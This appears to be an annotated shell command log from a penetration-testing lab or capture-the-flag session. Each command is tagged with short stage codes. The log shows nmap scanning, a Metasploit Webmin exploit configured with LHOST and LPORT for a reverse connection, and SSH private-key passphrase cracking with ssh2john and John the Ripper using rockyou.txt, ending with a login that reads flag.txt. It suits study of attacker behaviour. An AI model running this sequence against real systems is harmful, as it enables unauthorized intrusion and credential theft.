```
nmap 172.18.1.5 V0
                             ls A10
                          metasploit U
                         msf-console U
                 sudo service postgresql start U
                        sudo msfdb init U
                         msfconsole M2
                       search webmin M3
                            use A4
                            use 2 A4
                            check A7
                        show options M5
                    set RHOST 172.18.1.5 A6
                     set RPORT 10000 M6
                            check A7
                       search webmin V3
                            use \sim A4
                            use 3 A4
                       search\ webmin\ V3
                            use 3 A4
                        show options V5
                  set SRVHOST 172.18.1.5 A6
                            check A7
                    set SRVHOST 0.0.0.0 A6
                    set RHOST 172.18.1.5 A6
                            check A7
                           exploit M8
                  set LHOST 147.251.83.13 V6
                           exploit V8
                      set LPORT 12345 A6
                           exploit V8
                  set LHOST 100.100.100.2 V6
                           exploit V8
                         set LPORT A6
                       set LPORT 4444 A6
                           exploit V8
                   set LHOST 10.1.135.83 V6
                     nmap 10.1.17.4 A0 A1
                       ssh 10.1.17.4 A16
                    ssh eve@10.1.17.4 M16
                          cd .ssh A16
                             ls A10
                          nano id rsa U
                     ssh-add id rsaaaa A16
                       ssh_add id_rsa A16
                      ssh-add id_rsaa A16
                       ssh-add id rsa A16
                   chmod #033[2~ id_rsa A15
                           exploit V8
                     chmod 600 id_rsa M15
                       ssh-add id_rsa A16
                       ssh-add id_rsa A16
                     ssh eve@10.1.17.4 V16
                             ls A10
                      mv id_rsa ../id_rsa U
                             cd \mathrel{..} U
                               ll U
                             ls A10
                     ./ssh2john.py A14 A16
                  ./ssh2john.py id_rsa A14 A16
              ./ssh2john.py id_rsa > hash A14 A16
                             ls A10
                       joh hash --show A5
                    john hash --show A5 A14
                    john hash --show A5 A14
                    john hash --show A5 A14
                         john hash A14
           gunzip /usr/share/wordlists/rockyou.txt.gz U
   john --wordlist=/usr/share/wordlists/rockyou.txt hash M14
                     ssh eve@10.1.17.4 V16
john --wordlist=/usr/share/wordlists/rockyou.txt hash > result V14
                  cat result A1 A9 A11 A12 A17
                     ssh eve@10.1.17.4 V16
                     ssh eve@10.1.17.4 V16
                    mv id_rsa .ssh/id_rsa A16
                     ssh eve@10.1.17.4 V16
                     ssh eve@10.1.17.4 V16
                             ls A10
               cat top-secret A1 A9 A11 A12 A17
                         cd top-secret U
                           ls -la A10
                        cat flag.txt M17
                             ls A10
```

nmap 172.18.1.5 M0